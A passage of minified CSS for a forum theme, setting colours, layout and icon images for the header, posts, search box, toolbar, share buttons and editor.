option[value=f35],.fa-ajax-panel.fa-ajax-topic-move option[value=f54],.fa-ajax-panel.fa-ajax-topic-move option[value=f55],.fa-ajax-panel.fa-ajax-topic-move option[value=f71],.fa-ajax-panel.fa-ajax-topic-move option[value=f73],.fa-ajax-panel.fa-ajax-topic-move option[value=f76],.fa-ajax-panel.fa-ajax-topic-move option[value=f78]{background-color:#68B800;color:#fff}.fa-ajax-panel.fa-ajax-topic-move option[value=f50]{background-color:#787DEA;color:#fff}.fa-ajax-panel.fa-ajax-topic-move option[value=f5]{background-color:#e34b3c;color:#fff}div#main-content > div[style="overflow:visible"][class]:first-child,div#main-content > div[style="overflow:visible"][class]:last-child{display:none!important}.post .content > div ol > br:first-child,.post .content > div ul > br:first-child{display:none}.display-none{display:none}.module span.corners-bottom,.module span.corners-top{display:none}#page-body{box-sizing:border-box;padding:5px 15px}#content-container div#container,#content-container div#content{float:none;margin-right:0}.main-news-title,a.lastpost-link{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.headerbar{background:#369FCF;min-height:200px}.conteneur_container_IE{background:url(https://i.imgur.com/xLxsSz4.png) 0 26px repeat-x}#logo-desc p,#site-title,.headerbar .corners-bottom,.headerbar .corners-top{display:none}#page-header{margin:0 -5px}#page-header .navbar{background:#369FCF;margin-bottom:15px;padding-bottom:10px}#page-header .navbar .linklist li{font-size:0}#page-header .navbar .linklist{background:#2D3134;border:none;margin:-9px -10px 5px}#page-header a.mainmenu{color:#eee;display:inline-block;font-family:sans-serif;font-size:13px;font-weight:700;height:40px;line-height:37px;outline:0;padding:0 15px;transition-duration:.1s}#page-header a.mainmenu[href="/register"]{color:#8C5}span.new-message{color:#EB3}span.new-message:before{content:'\f003';font-family:FontAwesome;margin-right:6px}#page-header a#logo{padding:0}.container{margin:-33px auto 0;width:80%}#page-header a.mainmenu.fa_navactif,#page-header a.mainmenu:hover{background-position:0 40px}#page-header a.mainmenu img,#page-header a.mainmenu[href*="/gallery"],#page-header a.mainmenu[href="/faq"]{display:none}#page-header a.active,#page-header a.mainmenu:hover{background-color:#1A1A1A}#page-header a.mainmenu[href^="/login"]:hover{background-color:#E54732}#sub-navbar{height:58px}#switch-login{float:right;padding-right:20px;padding-top:10px}#switch-login input.inputbox{border-color:transparent;border-radius:0 3px 3px 0;box-sizing:border-box;color:#555;font-family:sans-serif;font-size:13px;height:40px;margin-right:20px;padding:0 10px;width:150px!important}#switch-login .label-icone,#switch-login button[type=submit]{background-color:#2e3133;box-sizing:border-box;color:#fff;height:40px;vertical-align:top}#switch-login .label-icone{border-radius:3px 0 0 3px;font-size:21px;padding:9px 10px}#switch-login button[type=submit]{border:0;border-radius:4px;cursor:pointer;font-family:sans-serif;font-size:14px;font-weight:700;padding:0 10px}.cards .fa,.main-news-title,.ul-icons li img{vertical-align:middle}#search-box #search button[type=submit]{background-color:#2E3133;border:0;border-radius:0 4px 4px 0;font-size:21px;height:44px;margin-left:0;margin-right:3px;position:relative;width:50px!important}#fa_sticky_nav{background:#FAFAFA;border-bottom:1px solid #CCC!important;font-size:0;height:30px;overflow:hidden;position:fixed;right:0;text-align:center;transition:top .2s linear,width .6s ease-in-out;z-index:999}#fa_sticky_nav li{display:inline}#fa_sticky_nav a.mainmenu{background:url(https://i.servimg.com/u/f18/18/45/41/65/nav10.png) 0 30px repeat-x;color:#39C;display:inline-block;font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:12px;font-weight:700;height:30px;line-height:30px;padding:0 10px;transition:.2s}#fa_sticky_nav a.mainmenu.fa_navactif,#fa_sticky_nav a.mainmenu:hover{background-position:0 25px}#fa_sticky_toggle{background:url(https://i.servimg.com/u/f21/18/21/41/30/omnibo10.png) no-repeat #FAFAFA;border:1px solid #CCC;border-right:none;display:inline-block;height:29px;position:fixed;right:0;transition:top .2s linear;width:30px;z-index:999}#fa_sticky_nav a.mainmenu[href="/report"] img,.main-left ul.mini-screen,.main-right li:nth-child(n+5){display:none}#fa_sticky_toggle:hover{background-position:-30px 0}#fa_toolbar_hidden{border:1px solid #CCC;border-radius:0!important;border-right:0;border-top:0}.post div[style*="-30px;"]{top:-60px!important}#fa_ticker_container #fa_ticker .fa_ticker_content .fa-exclamation-triangle,#fa_ticker_container #fa_ticker .fa_ticker_content .fa-warning{color:#fff;font-size:20px}#fa_ticker_container #fa_ticker .fa_ticker_content{color:#fff!important;font-family:sans-serif;font-size:18px;font-weight:700;padding-top:7px;text-align:center;text-shadow:1px 1px 2px #26789f}#fa_ticker_container #fa_ticker .fa_ticker_content a{color:#fff!important;text-decoration:none}#fa_ticker_container #fa_ticker .fa_ticker_content a:hover{border-bottom:1px solid #fff}body{background-color:#E5E5E5;color:#555;counter-reset:chapter;font-size:10px}#wrap{background:#F2F2F2;background-clip:padding-box;border:1px solid rgba(0,0,0,.1);max-width:95%;padding:20px 5px 0}#main-content{padding:3px}.cards .card,.main-left,.main-right{box-sizing:border-box;font-family:sans-serif}.new,.qeel_title,.text_label{font-weight:700}.footer-title,.qeel_title,.text_label{text-transform:uppercase}.cards .card{color:#fff;float:left;font-size:22px;margin-top:10px;padding:20px 30px;width:31%}.cards .card.yellow-card{background-color:#e6ad1d;border-bottom:3px solid #c79616;margin-right:1.5%;text-shadow:0 0 1px #c79616}.cards .card.red-card{background-color:#E54732;border-bottom:3px solid #C62F1A;margin-left:1.5%;text-shadow:0 0 1px #C62F1A;width:32%}.cards .card.green-card{background-color:#71be47;border-bottom:3px solid #60a53a;margin-left:1.5%;text-shadow:0 0 1px #60a53a;width:32.5%}.cards .fa{font-size:37px;margin-right:15px}.main-left,.main-right{border:10px solid #369fcf;font-size:14px;line-height:25px;margin:20px 0 0;min-height:179px}.main-left{float:left;width:31%}.img-whois,.main-right{float:right}.main-left>h2,.main-right>h2{background-color:#369fcf;color:#fff!important;font-family:sans-serif;font-size:18px;margin:0;padding:0 14px 8px}.main-left ul,.main-right ul{padding:10px}ul.main-news{list-style:none!important;padding-left:10px!important}ul.fa-ul{margin-left:0;padding-left:30px!important}.main-right{width:66%}.main-left li:nth-child(2n+1),.main-right li:nth-child(2n+1){background-color:#f6f6f6}.main-news-time{box-sizing:border-box;color:#555;display:inline-block;float:right;font-size:.9em;padding-right:5px;text-align:right;width:25%}.main-news-title{display:inline-block;width:75%}.qeel_title{background:#e54732;color:#FFF;font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:16px;padding:8px 15px}#fa_qeel .qeel_title:nth-child(n+3){background-color:#2e3133!important}.qeel_title a{color:#FFF}.qeel_section{background:#fafafa;color:#333;font-size:12px;line-height:1.5em;padding:15px}#online-box #fa_qeel{clear:both;margin:0 -5px}#fa_stats{background:#2E3133;color:#FFF;font-family:Arial,Verdana,Sans-serif;padding:15px 0;text-align:center}.stat_label,.stat_label a{color:#2E3133}.stat_label{background:#F2F2F2;border-radius:3px;display:inline-block;font-size:0;margin:0 12px 0 7.5%;padding:6px 12px}.stat_label strong,.text_label{font-size:14px}#page-footer,#page-footer a{color:#A3AAAE}.text_label{margin-right:7.5%}#footer-container,div#forum.footer-container{margin:0 auto;padding:0 15px;width:90%}#fa_groups{font-size:0}#fa_groups b,#fa_groups:before{font-size:11px;font-style:normal}#fa_groups:before{content:"Staff: "}#fa_groups b:after{content:", ";font-weight:400}#fa_groups b:last-child:after{content:""}.Administradores,.g_Administradores{background:#f60}#page-footer{background:#2E3133;clear:both;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;margin-top:30px;min-width:960px;padding-bottom:60px;text-align:left}#page-footer a:hover{color:#CCD0D2}.footer-col{float:left;width:25%}.footer-title{display:block;font-family:"Trebuchet MS","Helvetica Neue",Helvetica,Arial,sans-serif;font-size:17px;margin:60px 0 25px}.footer-list{list-style:none;margin:0 0 10px;padding-left:0}.footer-list li{margin-bottom:10px}.footer-image{display:inline-block;text-align:center;width:25px}.footer-row hr{border:none;border-top:2px solid #FFF!important;margin:40px auto 0;width:100px}.footer-copyright{padding-top:20px;text-align:center}#footer_brand{display:block;margin:0 auto;width:230px}#footer_brand span{color:#FFF;display:inline-block;margin:10px}#footerBackToTop{position:relative}#footerBackToTop a{background:#3E4143;border-radius:30px;display:inline-block;height:30px;left:50%;margin-left:-15px;position:absolute;top:10px;width:30px}#footerBackToTop a:hover{background:#1E2123}#footerBackToTop a img{margin-top:9px}.defaultFooterLink a.small{color:#FF9!important}.content h1,.content h2,.content h3,.content h4,.h1,.h2,.h3,.h4,.h5,.h6,.panel h1,.panel h2,.panel h3,.panel h4,h1,h1.page-title,h2,h2.h3,h2.u,h3,h4,h5,h6{border-color:#39C;color:#39C}.forabg,.forumbg{background:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin-bottom:30px;overflow:hidden}.forabg ul,.forumbg ul{background:0 0}.forabg .header,.forumbg .header{background:#39c;border-bottom:solid 1px #dfdfdf;margin:-5px -5px 10px;padding:6px 3px 3px}.forabg .header dd,.forumbg .header dd{font-size:11px;font-weight:700}.forabg .header dt,.forabg .header h2,.forumbg .header .dterm,.forumbg .header dt{font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:13px;font-weight:700;padding-left:6px!important}.forabg .header .dterm.full-size{width:100%}.forabg .header .dterm.full-size i.fa{float:right;padding-right:10px}.forabg .row,.forumbg .row{background:#F2F2F2;border:1px solid #EEE!important;border-radius:3px;margin-bottom:10px;margin-left:5px;margin-right:5px;position:relative}.forabg .row dd,.forumbg .row dd{border:none!important}.forabg a.forumtitle,.forumbg a.topictitle{color:#39C}a.forumtitle2{color:#39C;display:block;font-weight:700;margin:10px 0}.forumbg .row .lastpost{width:27%}dd.lastpost{width:22%}.lastpost-user-avatar{float:left;height:40px;margin-right:10px;width:40px}.lastpost-infos{margin-left:50px}a.lastpost-link{display:block;max-width:100%}li.row dl{background-position:3px 50%!important}li.header dd.dterm{width:52%}.topiclist.topics .row dl dd.dterm{box-sizing:border-box;padding-right:100px;width:56%}li dl.forum-icon,ul.topiclist.search dl{background-position:0 0!important;background-repeat:repeat-y}dl.forum-icon:before,ul.topiclist.search dl:before{color:#fff;content:'\f0e6';font-family:FontAwesome;font-size:18px;left:7px;position:absolute;top:36%}dl.forum-links:before{content:'\f0c1'!important}dl.forum-icon[style*=lock]:before,ul.topiclist.search dl[style*=lock]{content:'\f023';left:10px}dl.forum-icon[style*=note]:before,ul.topiclist.search dl[style*=note]{content:'\f024';left:7px}dl.forum-icon[style*=announce]:before,ul.topiclist.search dl[style*=announce]{content:'\f12a';left:13px}dl.forum-icon[style*=globale]:before,ul.topiclist.search dl[style*=globale]{content:'\f0ac';left:9px}ul.pmlist dl.forum-icon::before{top:27%}button.mp-button{background-color:#369fcf;border:0;border-radius:21px;color:#fff;cursor:pointer;font-size:18px;height:29px;text-align:center;width:29px}.pm-topic img{display:none}.dterm .span-tab{padding-left:4px}.row .dterm[style]{background-position:100% 55%}div.topic-title-container{display:inline-block;vertical-align:top}.desc-icon,.postprofile,.postprofile dd,.postprofile dd:last-child,.postprofile dt+dd{text-align:center}#fa_search_settings label,.outer .middle,div.post div.postbody .topic-title img{vertical-align:middle}.desc-icon{background-color:#369FCF;border-radius:69px;box-sizing:border-box;color:#fff;float:left;font-size:27px!important;height:50px;margin-left:5px;margin-right:15px;margin-top:-20px;padding:12px 0;width:50px}h2.forum-title,h3.hierarchy.forum-title{display:inline-block;margin-left:70px;margin-top:0}.forum-desc{margin-top:7px}.forabg.cat-suporte .desc-icon,.forabg.cat-suporte li.header{background-color:#e6ad1d}.forabg.cat-diversos .desc-icon,.forabg.cat-diversos li.header{background-color:#71be47}.forabg.cat-team .desc-icon,.forabg.cat-team li.header{background-color:#2E3133}div.post{background-color:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin:10px 0;padding:0}div.post .inner{border-top:12px solid #DDD;padding:0 10px}div.post div.postbody{margin-bottom:10px;margin-top:10px}div.post div.postbody .content{overflow:visible}div.post h2.topic-title>a{display:inline-block;max-width:50%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}div#overlay,div#overlay-container{display:none}div.post ul.profile-icons{margin-right:20px;margin-top:0}.postbody .content.clearfix div{word-wrap:break-word}.attachbox{background-color:#eee;padding:10px 10px 0}.attachbox .i_icon_delete{vertical-align:middle;width:15px}.outer,div#overlay{height:100%;left:0;position:fixed;top:0;width:100%;z-index:999}.attachbox dt{font-size:.9em}.attachbox dl.file{border-top:1px solid #ddd;margin-top:3px;padding-top:4px}.post.search .postbody img,.postbody .content img{max-width:350px}.post.search .postbody img.resized,.postbody .content img.resized{cursor:zoom-in}div#overlay{background-color:#444;opacity:.6}.outer{display:table}.outer .middle{display:table-cell}.outer .middle .inner{margin-left:auto;margin-right:auto;text-align:center}#overlay-content i.fa-pulse{background-color:#fff;border-radius:35px;display:block;font-size:30px;margin:auto;padding:20px;width:30px}#overlay-content img{background-color:#eee;border-radius:3px;cursor:zoom-out;display:inline-block;margin:auto;padding:3px}#overlay-content>span::after{background-color:#333;border-radius:20px;box-sizing:border-box;color:#fff;content:"\f00d";cursor:pointer;display:inline-block;font-family:FontAwesome;font-size:17px;height:25px;margin-left:-10px;margin-top:-10px;padding-top:3px;position:absolute;width:25px}div.postprofile div.cadre_avatar img{max-width:150px}.postprofile{background:url(https://i.servimg.com/u/f18/18/45/41/65/row10.png) repeat-x #F6F6F6;border:1px solid #DDD;border-radius:3px;margin-bottom:10px;padding:60px 3px 3px;position:relative}.postprofile dd,.postprofile dt{margin:0}.postprofile dd{color:#333}.postprofile .label,.postprofile .label span{color:#39C!important}.postprofile dd span+img{display:inline-block;margin-top:10px}.postprofile dd:last-child img,.postprofile dt+dd img{display:inline-block}.profile-icons a[href*="/report?mode=lock"],.profile-icons a[href*="/report?mode=unlock"],.search.post .postprofile:after,.search.post .postprofile:before,form[action^="/privmsg"] .postprofile:after,form[action^="/privmsg"] .postprofile:before{display:none}#first-post-br,hr,hr.dashed{border-color:#DDD}#plus_menu{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175);overflow:hidden;z-index:10!important}#plus_menu .title-overview{background:#39C;color:#FFF}.postprofile img{max-width:100%}.faq-off{table-layout:fixed!important}.faq-fin,.faq-off .faq-fa{width:0}table.forumline,table.table1{border:1px solid #DDD;border-radius:3px;border-spacing:0;overflow:hidden;padding:0}table.forumline tbody td.catHead,table.forumline tr:hover td.catHead,table.table1 tbody th,table.table1 thead{background:#39C}table.forumline tbody td.catHead a,table.table1 tbody th a,table.table1 thead th a{color:#FFF!important}table.forumline tbody td.catHead a:hover,table.table1 tbody th a:hover,table.table1 thead th a:hover{color:#333!important}table.forumline tbody td.catHead,table.table1 tbody th,table.table1 thead th{border:none!important;color:#FFF!important;padding:6px;text-align:left}table.forumline tbody tr,table.table1 tbody tr{background:#F2F2F2}table.forumline tbody tr:hover,table.table1 tbody tr:hover{background:#F7F7F7}table.forumline td,table.forumline th,table.table1 td{background:0 0;border-bottom:1px solid #DDD;border-right:1px solid #DDD;border-top:none!important}div.post .postprofile:after{background:#2E3133;border-bottom:4px solid #868686;content:".";font-size:0;height:16px;left:0;position:absolute;right:0;top:25px;z-index:1}div.post.online .postprofile:after{border-color:#84C754}div.post .postprofile:before{content:url(https://i.servimg.com/u/f18/16/89/96/68/offlin19.png);left:0;position:absolute;right:0;top:25px;z-index:2}div.post.online .postprofile:before{content:url(https://i.servimg.com/u/f18/16/89/96/68/online15.png)}.module .box-content .mod-login-avatar{float:none;text-align:center}#userAvatar,.avatar,.lastpost-avatar,.mod-login-avatar dt,td.avatar-mini img{background:#FFF;border-radius:100px;box-shadow:0 2px 3px rgba(0,0,0,.3),0 -1px 1px rgba(0,0,0,.3);display:inline-block;height:100px;margin:10px 0;overflow:hidden;padding:3px;width:100px}.friend-block{width:65px}.friend-block .avatar{margin:0 10px}.avatar,.avatar img{height:40px;width:40px}.lastpost-avatar{margin:0 5px 0 0;padding:0!important}.avatar,td.avatar-mini img{margin:0;padding:1px}.avatar{margin-top:2px!important}.avatar,.lastpost-avatar,td.avatar-mini img{border:1px solid #DDD;box-shadow:none}.lastpost-avatar,.lastpost-avatar img,td.avatar-mini img{height:36px;width:36px}#main-content>div.post.search .postprofile dt.author>a{background:0 0;border-radius:0;box-shadow:none;display:inline;height:0;margin:0;overflow:visible;padding:0;width:0}.module,.panel{background:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px}.module .h3{background:#39C;color:#FFF;margin:0 -10px 10px;padding:6px 3px;text-align:center;text-transform:none}.panel div.mes-txt,.panel p{font-size:12px}.module .h3 span{color:#FFF!important}.module .box-content .mod-login{margin:0;width:100%}.module .box-content .mod-login dd strong{font-weight:400}.module .box-content .mod-login dt{color:#39C;font-weight:700;text-align:right}.module .box-content .mod-login dd,.module .box-content .mod-login dt{display:inline-block;width:50%}.module td{background:0 0}.module table[summary]{border-spacing:0}.module table[summary]>tbody>tr>td{border-bottom:1px solid #E2E2E2;padding:3px}#cp-main .panel.sig{background:0 0;border:none;box-shadow:none}dl.faq dd p{border-color:#CCC}div#left{margin-right:16px;margin-top:25px}.inputbox,input.bginput,input.post,input.tiny,select,textarea{background:#FFF;border:1px solid #CCC;border-radius:3px;color:#444;padding:3px}.inputbox:hover,input.bginput:hover,input.post:hover,input.tiny:hover,select:hover,textarea:hover{border-color:#39C}.inputbox:focus,input.bginput:focus,input.post:focus,input.tiny:focus,select:focus,textarea:focus{border-color:#333;outline:0}#profile-advanced-add a,a.button1,a.button2,button.button2,input.button,input.button1,input.button2{background:#39C;border:none;border-bottom:2px solid #17A;border-radius:3px;color:#FFF!important;display:inline-block;font-size:11px;font-weight:700;line-height:normal!important;margin:2px;padding:6px 9px!important;transition:.3s}#login_popup_buttons .button2,#profile-advanced-add a[href^="/profile?friend"]{background:#8B5;border-color:#693;text-align:center;width:182px}#profile-advanced-add a[href^="/profile?foe"]{background:#E53;border-color:#C31;text-align:center;width:182px}#profile-advanced-add a[href*=remove]{background:#EB3;border-color:#C91}#profile-advanced-add a:hover,a.button1:hover,a.button2:hover,button.button2:hover,input.button1:hover,input.button2:hover,input.button:hover{background:#333;border:none;border-bottom:2px solid #111;color:#FFF}#welcome_fdf{color:#fff;display:inline-block;float:left;font-family:sans-serif;font-size:15px;font-weight:700;padding-top:15px}#welcome_fdf>span{float:left;margin-right:10px;width:160px}#search-box #search input[type=submit]{background:url(https://i.imgur.com/rvy4kOU.png) 14px 10px/40% auto no-repeat #2E3133;border:0;border-radius:0 4px 4px 0;color:transparent!important;font-size:.1px;height:44px;margin-right:3px;position:relative;width:50px!important}#forum-search .inputbox,#search .inputbox,#search_menu .inputbox,.inputbox.desc_search_input{background:#FFF;border:1px solid #39C;border-radius:3px 0 0 3px;height:22px;margin-right:-2px;padding:3px}#search-box #keywords{font-family:Helvetica;font-size:15px;height:40px;padding:2px 10px;width:300px}#forum-search .inputbox,.inputbox.desc_search_input{margin-right:-6px}.desc_search_input{width:125px!important}.search-box{margin:-3px 0 0 10px}.desc-search{float:right;margin:0;opacity:0;transition:.3s;visibility:hidden;width:auto}.row:hover .desc-search{opacity:1;visibility:visible}#search_menu{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,.175);font-size:10px;font-weight:400;overflow:hidden}#search_menu .title-overview{background:#39C;color:#FFF;font-weight:700;padding:10px}#search_menu input.medium{border-radius:3px;float:left;margin-bottom:10px;margin-top:8px;width:80%}#search_menu .button1{margin-bottom:10px;margin-left:10px;margin-top:8px}input#rposts{margin-left:5px}#search{position:relative}#fa_search_opts{background:url(https://i.servimg.com/u/f21/18/45/41/65/opts_m10.png) no-repeat;height:17px;position:absolute;right:35px;top:9px;width:16px}#fa_search_opts:hover{background-position:-16px 0}#fa_search_settings{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175);color:#333;padding:3px;position:absolute;right:0;text-align:center;top:45px;width:175px;z-index:1}#fa_search_settings:before{content:url(https://i.servimg.com/u/f18/18/21/41/30/arrow11.png);position:absolute;right:32px;top:-10px}#fa_search_settings p{font-size:11px}#fa_search_settings label{cursor:pointer;padding:0 6px 0 3px}#tabs{background:#FFF;border:1px solid #DDD;border-bottom:none;border-radius:3px 3px 0 0;margin:20px 10px 0 7px;overflow:hidden}#tabs a span{color:#333;padding:0}#tabs .activetab a:hover span,#tabs a:hover span{color:#39C}#tabs a{background:url(https://i.servimg.com/u/f18/18/45/41/65/nav10.png) 0 28px repeat-x;border-right:1px solid #DDD;height:28px;line-height:28px;margin:0;padding:0 12px;transition:.2s}#tabs a:hover{background-color:transparent;background-position:0 25px}#tabs .activetab a span{color:#39C;padding:0}#tabs .activetab a{background-color:transparent;background-position:0 25px!important;cursor:default}#profile-advanced-layout #tabs #new-message-link{top:-35px}#profile-advanced-layout #tabs #new-message-link a{border:none;padding:0}#profile-tab-field-profil dl dt,#profile-tab-field-profil dl dt span,#ucp fieldset dl dt label,#ucp fieldset dt,#ucp fieldset dt span{color:#39C!important;font-weight:700}#ucp fieldset dl:hover dt,#ucp fieldset dl:hover dt label,#ucp fieldset dl:hover dt span{color:#333!important}#profile-advanced-details .message-header{background:0 0;border:none}#profile-advanced-details ol>li{background:#FFF;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin:10px 0;padding:6px}.row .pagination{background:rgba(0,0,0,0);display:inline-block;float:none;font-size:.8em;margin-left:15px;margin-top:0;padding:0}.pagination span{display:inline-block;margin:6px 0}.pagination span a,.pagination span a:link,.pagination span a:visited,.pagination span strong{background:#FFF;border:none;border-radius:3px;color:#000;padding:3px 6px;transition:.3s}.pagination span a:active,.pagination span a:focus,.pagination span a:hover,.pagination span strong{background-color:#39C;border-color:#39C;color:#FFF}.pagination a.pag-img{background:0 0!important;border:none!important;padding:0!important}form[name=go_page] .forumline{background-color:#FFF;border:1px solid #CCC;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175)}form[name=go_page] .forumline td{background:#FFF!important;border:none;padding:3px}form[name=go_page] th{background:#39C;border:none;color:#FFF;padding:3px}.message-block .message-text blockquote,.message-block .message-text dl.codebox,.panel .content dl.codebox,.panel .postbody .content blockquote,.panel .table .row1 blockquote,.panel .table1 .row1 dl.codebox,.post .postbody .content blockquote,.post .postbody .content dl.codebox,.search .postbody blockquote,.search .postbody dl.codebox{background:#e7edf3 none repeat scroll 0 0;border:0 none;border-radius:3px;color:#7089a9;font-size:1.1em;line-height:1.7;margin:1em 25px 1em 1em;padding:7px 15px}.post .postbody .content blockquote div{margin-left:0}.post blockquote cite{font-size:0}.post blockquote cite a{font-size:14.3px}blockquote cite{display:inline-block;font-size:1em}blockquote cite a,blockquote cite span{background-color:#fff!important;border-radius:4px!important;color:#7089a9!important;margin-right:10px!important;padding:2px 7px!important}blockquote cite a:before,blockquote cite span:before{content:'\f10e';font-family:FontAwesome;font-weight:400;padding-right:6px}.codebox.spoiler blockquote,blockquote div blockquote{background-color:#fff!important;font-size:1em!important}.post .postbody .content a.mentiontag,.post .postbody .content a[href^="/u"][title*="perfil"],.search .postbody a.mentiontag,.search .postbody a[href^="/u"][title*="perfil"]{background-color:#d8ecf5;border-radius:4px;color:#2d8cbb;font-weight:600;padding:4px 5px}dl.codebox:not(.spoiler){background-color:#272822!important;padding-right:0!important;text-shadow:1px 1px 0 #1B1C18}dl.codebox code{color:#E6E1DC!important;font-family:"Ubuntu Mono", FontAwesome;font-size:12pt}dl.codebox:not(.spoiler) dt{display:none}dl.codebox.spoiler dt{border-bottom:0 none}dl.codebox.hidecode a,dl.codebox.hidecode a:hover{color:#fff}dl.codebox .fa.fa-clipboard{color:#fff;cursor:pointer;float:right;left:-35px;position:relative}#fa_toolbar{border-bottom:1px solid #CCC}#fa_icon{background-image:url(https://i.servimg.com/u/f21/18/21/41/30/pa1110.png)!important}#fa_service{color:#39c!important;font-family:sans-serif;font-size:16px;font-weight:700;text-transform:uppercase}#fa_right #fa_menu #fa_welcome,#fa_right #fa_notifications,#fa_right a.rightHeaderLink{background-color:transparent!important;border:1px solid #39C!important;border-radius:3px!important;color:#39C!important;font-size:11px!important;font-weight:700!important;line-height:22px!important;margin-top:3px!important;padding:0 6px!important;text-decoration:none!important;transition:200ms}#fa_welcome > img{height:16px}#fa_right #fa_menu #fa_welcome:hover,#fa_right #fa_notifications:hover,#fa_right a.rightHeaderLink:hover,#fa_right.welcome #fa_menu #fa_welcome,#fa_toolbar > #fa_right.notification > #fa_notifications{background-color:#39C!important;border-color:#39C!important;color:#FFF!important}#fa_right #fa_hide{background-color:transparent!important;border:none!important;margin-top:0!important;padding:0!important;transition:none!important}#fa_toolbar #fa_left #fa_service{text-decoration:none!important}#fa_share a{background:url(https://i.imgur.com/xZ2dciB.png) no-repeat 0 0 transparent!important;border-radius:25px;height:25px!important;margin:-2px 3px 0!important;width:25px!important}#fa_share_text{display:none}#fa_share a:after{background:transparent;border-radius:30px;content:".";display:block;font-size:0;height:35px;margin-left:-5px;margin-top:-5px;position:absolute;transition:250ms;width:35px;z-index:-1}#fa_share a:hover:after{height:25px;margin-left:0;margin-top:0;width:25px}a#fa_fb{background-position:-50px 0!important}a#fa_fb:hover{background-position:-75px 0!important}a#fa_twitter{background-position:0 0!important}a#fa_twitter:hover{background-position:-25px 0!important}a#fa_gp{background-position:-98px 0!important}a#fa_gp:hover{background-position:-123px 0!important}a#fa_mail{background-position:-150px 0!important}a#fa_mail:hover{background-position:-175px 0!important}a#fa_rss{background-position:-199px 0!important}a#fa_rss:hover{background-position:-224px 0!important}#fa_search{position:relative}#fa_search #fa_magnifier{background:url(https://i.servimg.com/u/f21/18/21/41/30/search10.png) no-repeat 50% 50% #39C!important;border:1px solid #39C;border-left:none;border-radius:0 3px 3px 0;height:22px!important;right:0;top:3px;width:22px!important}#fa_search #fa_textarea{background:#39C!important;border:1px solid #39C!important;border-radius:3px 0 0 3px!important;color:#39C!important;cursor:text;font-size:12px!important;height:16px!important;line-height:12px!important;margin-right:23px!important;padding:3px 0 3px 1px !important;transition:300ms;width:0!important}#fa_search #fa_textarea:focus,#fa_search #fa_textarea:hover,#fa_search:hover #fa_textarea{background:#FFF!important;color:#444!important;outline:none;padding:3px!important;width:150px!important}#fa_menulist,#fa_toolbar #fa_right #notif_list{background:#FFF!important;border:1px solid #DDD!important;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,0.175);margin-top:18px!important}#fa_menulist:before,#fa_toolbar #fa_right #notif_list:before{content:url('https://i.servimg.com/u/f18/18/21/41/30/arrow11.png');position:absolute;right:10%;top:-10px}#fa_toolbar #fa_right #notif_list li.see_all{background:#39C!important}#fa_toolbar #live_notif .fa_notification{background:#FFF!important;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px!important;box-shadow:0 3px 12px rgba(0,0,0,0.175);margin-top:5px;opacity:1!important}#fa_toolbar #live_notif .fa_notification .content{background-image:url(https://i.servimg.com/u/f18/16/89/96/68/notifi10.png)!important;color:#555!important}#fa_toolbar #live_notif .fa_notification a{color:#39C!important}#fa_toolbar #live_notif .fa_notification a:hover{color:#333!important}#notif_unread{color:#F93;font-weight:700}#fa_notifications:hover #notif_unread,#fa_toolbar > #fa_right.notification > #fa_notifications #notif_unread{color:#FFF}#fa_hide,#fa_show{background:url(https://i.servimg.com/u/f21/18/21/41/30/fa_arr10.png) no-repeat 0 0 transparent!important}#fa_hide:hover{background-position:-30px 0!important}#fa_show{background-position:-60px 0!important}#fa_show:hover{background-position:-90px 0!important}#i_msg_inbox,#i_msg_outbox,#i_msg_savebox,#i_msg_sentbox{background:url(https://i.servimg.com/u/f18/18/21/41/30/fa_inb10.png) no-repeat 0 0 transparent;height:40px;width:40px}#i_msg_inbox{background-position:0 0}#i_msg_inbox:hover,#privmsgs-menu > li:nth-child(1) > img,#privmsgs-menu > li:nth-child(1):hover img{background-position:-40px 0}#i_msg_sentbox{background-position:-80px 0}#i_msg_sentbox:hover,#privmsgs-menu > li:nth-child(2) > img,#privmsgs-menu > li:nth-child(2):hover img{background-position:-120px 0}#i_msg_outbox{background-position:-160px 0}#i_msg_outbox:hover,#privmsgs-menu > li:nth-child(3) > img,#privmsgs-menu > li:nth-child(3):hover img{background-position:-200px 0}#i_msg_savebox{background-position:-240px 0}#i_msg_savebox:hover,#privmsgs-menu > li:nth-child(4) > img,#privmsgs-menu > li:nth-child(4):hover img{background-position:-280px 0}.social-button{background-color:rgba(0,0,0,0.3);border-radius:3px;box-sizing:border-box;color:#fff!important;display:inline-block;font-size:17px;height:32px;margin:3px;padding:7px;text-align:center;transition:250ms background-color;width:32px}.social-button:hover{background-color:#000}#fa_share a#fa_fb:hover::after,.social-button.fb-but:hover{background-color:#3B5998}#fa_share a#fa_twitter:hover::after,.social-button.tw-but:hover{background-color:#5EA9DD}#fa_share a#fa_gp:hover::after,.social-button.gp-but:hover{background-color:#DD4B39}#fa_share a#fa_mail:hover::after,.social-button.pi-but:hover{background-color:#B00}.social-button.yt-but:hover{background-color:#E52C27}#fa_share a#fa_rss:hover::after,.social-button.rs-but:hover{background-color:#FAA21B}.sceditor-container{background-color:#FFF!important;border-color:#39c!important}.sceditor-container iframe,.sceditor-container textarea{background:url(https://i.imgur.com/6mNXkP7.png) no-repeat 50% 50% transparent!important}div.sceditor-toolbar{background-color:#39c!important;border-color:#39c!important}div.sceditor-group{background:#FFF!important;border:1px solid #DDD!important;overflow:hidden;padding:0!important}.sceditor-button{background:#FFF!important;border-radius:0!important;border-right:1px solid #DDD}div.sceditor-group > .sceditor-button:last-child{border:none}.hover,.sceditor-button.active,.sceditor-button:active,.sceditor-button:hover{background:#FFA!important;box-shadow:none!important}div.sceditor-dropdown 